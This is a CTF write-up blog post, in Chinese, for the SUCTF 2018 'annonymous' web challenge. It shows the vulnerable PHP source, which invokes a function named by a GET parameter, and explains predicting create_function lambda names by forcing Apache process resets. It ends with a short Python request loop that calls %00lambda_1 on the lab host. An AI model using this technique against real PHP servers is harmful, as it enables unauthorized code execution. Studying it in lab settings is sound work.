BUUCTF：[SUCTF 2018]annonymous

最新推荐文章于 2024-09-03 19:14:34 发布

末初

最新推荐文章于 2024-09-03 19:14:34 发布

阅读量1.3k

点赞数 4

分类专栏： CTF_WEB_Writeup

本文链接：https://blog.csdn.net/mochu7777777/article/details/105225558

版权

CTF_WEB_Writeup 专栏收录该内容

172 篇文章 62 订阅

订阅专栏

[SUCTF 2018]annonymous
在这里插入图片描述

 <?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

create_function()函数在创建之后会生成一个函数名为：%00lambda_%d
%d是持续递增的，这里的%d会一直递增到最大长度直到结束，通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程，这样这里的%d会刷新为1，就可以预测了
写个脚本一直去刷新访问即可：

import requests
while True:
    r=requests.get('http://a10002f2-2091-47dc-9b7c-996d05cd4faa.node3.buuoj.cn/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break
    print('Testing.......')